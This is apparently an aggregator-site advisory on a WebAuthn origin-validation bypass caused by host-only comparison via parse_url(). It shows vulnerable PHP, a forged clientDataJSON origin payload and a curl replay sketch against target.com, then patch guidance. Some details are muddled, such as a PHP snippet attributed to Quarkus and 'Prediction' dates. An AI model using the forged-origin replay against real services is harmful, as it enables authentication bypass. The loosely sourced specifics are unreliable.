Listen to this Post
The vulnerability, present in specific WebAuthn library implementations like those found in Quarkus, arises from a flawed origin validation process in the `CheckAllowedOrigins` function . When the `allowed_origins` list is configured, the function improperly reduces both the stored allowed origin and the `clientDataJSON.origin` received from the browser to just their host components using parse_url(). According to the WebAuthn Level 2 specification, the Relying Party must verify the exact origin (including scheme and port) to prevent attacks . However, this flawed implementation returns a successful match if the hostnames are identical, completely bypassing the required exact-origin check. Consequently, an attacker can bypass origin verification by using a different port or scheme on the same hostname, such as using `https://login.example.com:9443` when the policy expects `https://login.example.com:8443`, leading to a critical authentication bypass .
dailycve form:
Platform: WebAuthn Library
Version: Unspecified
Vulnerability: Origin Validation Bypass
Severity: Critical
Date: February 2025
Prediction: March 2025
What Undercode Say:
Analytics:
The vulnerability stems from the insecure use of `parse_url()` which strips scheme and port information, leaving only the host component for comparison. This directly violates the WebAuthn spec requirement to verify the full origin . A review of the flawed logic shows:
// Vulnerable storage logic
$storedOrigin = parse_url($allowedOrigin)['host'] ?? $allowedOrigin;
// Vulnerable verification logic
$requestOrigin = parse_url($clientDataJSON->origin)['host'] ?? $clientDataJSON->origin;
if ($storedOrigin === $requestOrigin) {
return true; // Bypasses exact origin and HTTPS checks
}
How Exploit:
An attacker can craft a malicious site or use a MitM position to serve a different port. For a target with the configuration:
webauthn: allowed_origins: - https://login.example.com:8443 allow_subdomains: false
The attacker sends a registration or authentication response with:
{
"origin": "https://login.example.com:9443",
"type": "webauthn.create"
}
Because both URLs reduce to login.example.com, the server incorrectly accepts the request. A full bash simulation using `curl` might look like:
Capture a legitimate WebAuthn response
ORIGINAL_RESPONSE=$(curl -s -X POST https://target.com/webauthn/authenticate -d '{"response":{"clientDataJSON":"..."}}')
Modify the origin in clientDataJSON (base64 encoded)
MODIFIED_CLIENT_DATA=$(echo '{"type":"webauthn.get","challenge":"...","origin":"https://login.example.com:9443"}' | base64 -w 0)
Replay with modified origin
curl -X POST https://target.com/webauthn/authenticate \
-H "Content-Type: application/json" \
-d "{\"response\":{\"clientDataJSON\":\"$MODIFIED_CLIENT_DATA\"}}"
Protection from this CVE:
- Patch immediately: Update to the latest version of the WebAuthn library where `CheckAllowedOrigins` performs a strict string comparison on the full origin, not just the host .
- Implement exact matching: Ensure your validation logic matches the full origin including scheme and port. Example fix:
// Correct implementation if ($allowedOrigin === $clientDataJSON->origin) { // Also verify HTTPS scheme if (parse_url($clientDataJSON->origin, PHP_URL_SCHEME) === 'https') { return true; } } - Avoid host-only reduction: Never use `parse_url` to extract only the host for origin comparison.
Impact:
- Critical Authentication Bypass: Attackers can authenticate as any user by exploiting same-host different-port scenarios .
- Bypass of WebAuthn L2 Requirements: The flaw ignores the mandatory exact-origin verification, undermining the security model of WebAuthn .
- CVSS Score 9.1: The vulnerability is remotely exploitable with low complexity and no privileges required, leading to high impact on confidentiality and integrity .
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
